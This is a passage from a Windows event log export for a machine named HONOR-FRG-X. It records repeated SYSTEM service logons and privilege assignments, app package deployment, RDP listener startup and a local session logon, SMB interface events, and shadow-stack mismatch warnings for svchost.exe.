Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.203\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.204\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.204\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.204\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.204\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.227\t100\tError 0x15: misuse at line 185353 of [737ae4a347]\tError\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:29:01.229\t939\tAppxsvc lifecycle transition to Starting (Checkpoint=2)\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:01.232\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.232\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.235\t8000\t\"Process Name: C:\\WINDOWS\\system32\\services.exe\nModule Name: C:\\WINDOWS\\SYSTEM32\\licensemanagerapi.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:01.235\t940\tAppxsvc lifecycle transition to Running (Checkpoint=4)\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:01.236\t8001\t\"canDisableApps value is 0\nFunction: InitStoreAppsAreDisabled\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (195)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:01.237\t8001\t\"Skipping license manager: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:01.240\t231\tRepositoryManagerServerUpgrade with options: 0x1\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:29:01.245\t263\tWDDM graphics mode is enabled\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.254\t20523\tConnection from listener RDP-Tcp will have terminal class of {5828227c-20cf-4408-b73f-73ab70b8849f}\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.263\t100\tClipSVC service is starting.  Caller: \tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:29:01.268\t21\t\"Remote Desktop Services: Session logon succeeded:\n\nUser: HONOR-FRG-X\\admin\nSession ID: 1\nSource Network Address: \u041b\u041e\u041a\u0410\u041b\u042c\u041d\u042b\u0415\"\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:01.269\t812\tThe winlogon notification subscriber  finished handling the notification event (2).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.271\t811\tThe winlogon notification subscriber  began handling the notification event (2).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.271\t1003\t\"CDE reported a state change \n\n State: Connected. Service is running. \n\n Name: Wlansvc.\"\tInformation\tMicrosoft-Windows-Wcmsvc/Operational\tMicrosoft-Windows-Wcmsvc\n05.09.2026 08:29:01.274\t812\tThe winlogon notification subscriber  finished handling the notification event (2).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.275\t101\tClipSVC service is running.  Version 10.0.26100.9168\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:29:01.281\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.281\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.309\t603\tStarted deployment DeStage operation on a package with main parameter MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy and Options RemoveForAllUsers and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:01.309\t70\tThe listener listens with display driver rdpudd.dll available.\tInformation\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS\n05.09.2026 08:29:01.312\t210\tCreated Desktop AppX container {245CDABB-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:01.312\t211\tAdded process 7712 to Desktop AppX container 245cdabb-a8c9-11f1-b7ff-289200f24a99 for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:01.315\t129\tThe server is using TCP to bind to port 15629.\tInformation\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS\n05.09.2026 08:29:01.316\t129\tThe server is using TCP to bind to port 15629.\tInformation\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS\n05.09.2026 08:29:01.318\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u0421\u0435\u0442\u0435\u0432\u043e\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 Bluetooth\nInterfaceIndex: 0xC\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:29:01.318\t1040\tReceived Mib notification type MibAddInstance for interface 12\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:01.318\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 12. Current DadState: 1.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:01.318\t129\tThe server is using UDP to bind to port 15629.\tInformation\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS\n05.09.2026 08:29:01.319\t129\tThe server is using UDP to bind to port 15629.\tInformation\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational\tMicrosoft-Windows-RemoteDesktopServices-RdpCoreTS\n05.09.2026 08:29:01.320\t258\tListener RDP-Tcp has started listening\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.324\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.324\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.327\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 7480) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffc2f207243, module offset: 0x17243, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x17bfbe7d940, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:29:01.327\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 7480) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffc2f1ffda9, module offset: 0xfda9, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x17bfbe72540, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:29:01.327\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 7480) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffc2f2090c3, module offset: 0x190c3, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x17bfbe72549, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:29:01.327\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 7480) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffc2f2006ff, module offset: 0x106ff, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x17bfbe72568, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:29:01.328\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 7480) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffc2f1f89fd, module offset: 0x89fd, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x17bfbe72560, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:29:01.338\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_1.rslc for Remove Operation on Package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:01.341\t607\tDeployment Remove operation on package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 